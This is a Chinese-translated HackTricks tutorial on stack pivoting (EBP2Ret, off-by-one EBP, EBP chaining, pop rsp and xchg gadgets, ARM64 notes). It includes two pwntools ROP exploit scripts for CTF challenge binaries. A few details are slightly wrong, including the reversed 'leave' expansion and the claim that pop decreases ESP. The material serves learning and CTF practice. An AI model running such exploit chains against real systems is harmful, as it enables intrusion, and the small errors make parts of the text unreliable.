11 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。
基本信息
该技术利用操控 基指针 (EBP) 的能力,通过仔细使用 EBP 寄存器和 leave; ret
指令序列来链接多个函数的执行。
作为提醒,leave
基本上意味着:
mov ebp, esp
pop ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
这个技术在你可以更改 EBP 寄存器但没有直接方法更改 EIP 寄存器时特别有用。它利用了函数执行完毕后的行为。
如果在 fvuln
执行期间,你设法在栈中注入一个指向内存中你 shellcode 地址的假 EBP(加上 4 字节以考虑 pop
操作),你可以间接控制 EIP。当 fvuln
返回时,ESP 被设置为这个构造的位置,随后的 pop
操作将 ESP 减少 4,有效地使其指向攻击者在其中存储的地址。
注意你需要知道 2 个地址:ESP 将要去的地址,以及你需要在 ESP 指向的地方写入的地址。
Exploit Construction
首先,你需要知道一个可以写入任意数据/地址的地址。ESP 将指向这里并运行第一个 ret
。
然后,你需要知道 ret
使用的地址,这将执行任意代码。你可以使用:
- 一个有效的 ONE_GADGET 地址。
system()
的地址,后面跟 4 个垃圾字节 和"/bin/sh"
的地址(x86 位)。- 一个
jump esp;
gadget 的地址(ret2esp),后面跟要执行的 shellcode。 - 一些 ROP 链
请记住,在受控内存的任何这些地址之前,必须有**4
字节**,因为 pop
部分的 leave
指令。可以利用这 4B 设置一个第二个假 EBP,并继续控制执行。
Off-By-One Exploit
这个技术有一个特定的变体,称为“Off-By-One Exploit”。当你只能修改 EBP 的最低有效字节时使用。在这种情况下,存储要跳转到的地址的内存位置与 ret
必须共享前 3 个字节,从而允许在更受限的条件下进行类似的操作。
通常会修改字节 0x00t 以尽可能远地跳转。
此外,通常在栈中使用 RET sled,并将真实的 ROP 链放在末尾,以使新的 ESP 更有可能指向 RET SLED 内部,并执行最终的 ROP 链。
EBP Chaining
因此,将一个受控地址放入栈的 EBP
条目中,并在 EIP
中放入一个 leave; ret
的地址,可以将 ESP
移动到栈中受控的 EBP
地址。
现在,ESP
被控制,指向一个期望的地址,下一条要执行的指令是 RET
。为了利用这一点,可以在受控的 ESP 位置放置以下内容:
&(next fake EBP)
-> 由于leave
指令中的pop ebp
加载新的 EBPsystem()
-> 由ret
调用&(leave;ret)
-> 在 system 结束后调用,它将 ESP 移动到假 EBP 并重新开始&("/bin/sh")
->system
的参数
基本上,这种方式可以链接多个假 EBP 来控制程序的流程。
这就像一个 ret2lib,但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。
此外,这里有一个 挑战示例,使用这个技术与 stack leak 来调用一个获胜函数。这是页面的最终有效载荷:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP 可能未被使用
正如 在这篇文章中解释的,如果一个二进制文件是使用某些优化编译的,EBP 永远无法控制 ESP,因此,任何通过控制 EBP 的漏洞利用基本上都会失败,因为它没有任何实际效果。
这是因为如果二进制文件经过优化,前言和尾声会发生变化。
- 未优化:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 优化:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
其他控制 RSP 的方法
pop rsp
gadget
在此页面 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个 pop rsp
gadget 和一个 来自栈的泄漏:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
查看 ret2esp 技术:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
参考资料与其他示例
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 位,使用以 ret sled 开头的 rop 链进行越界利用
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 位,无 relro、canary、nx 和 pie。该程序提供了堆栈或 pie 的泄漏和一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用
.fini_array
条目 + 调用__libc_csu_fini
的永恒循环(更多信息在这里)。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,通过 RBP 进行 pivoting。
ARM64
在 ARM64 中,函数的 前言和尾声 不在堆栈中存储和检索 SP 寄存器。此外,RET
指令不会返回到 SP 指向的地址,而是 返回到 x30
内的地址。
因此,默认情况下,仅仅利用尾声你 无法通过覆盖堆栈中的某些数据来控制 SP 寄存器。即使你设法控制了 SP,你仍然需要一种方法来 控制 x30
寄存器。
- 前言
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP 指向帧记录
- 尾声
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
{% hint style="danger" %}
在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 控制 SP
(通过控制某个寄存器的值传递给 SP
,或者因为某种原因 SP
从堆栈获取其地址并且我们有一个溢出),然后 利用尾声 从 受控的 SP
加载 x30
寄存器并 RET
到它。
{% endhint %}
在以下页面中,你可以看到 ARM64 中的 Ret2esp 等价物:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %} ret2esp-ret2reg.md {% endcontent-ref %}
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 在 Twitter 上关注 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。